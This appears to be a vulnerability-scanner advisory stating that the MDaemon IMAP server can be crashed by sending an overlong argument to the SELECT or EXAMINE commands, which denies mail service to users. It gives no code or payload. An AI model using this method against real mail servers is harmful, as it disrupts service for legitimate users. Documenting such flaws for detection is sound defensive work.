The remote host is running the MDaemon IMAP server.
It is possible to crash the remote version of this software by by sending
a too long argument to the ‘SELECT’ or ‘EXAMINE’ commands.
This problem allows an attacker to make the remote service crash, thus
preventing legitimate users from receiving e-mails.
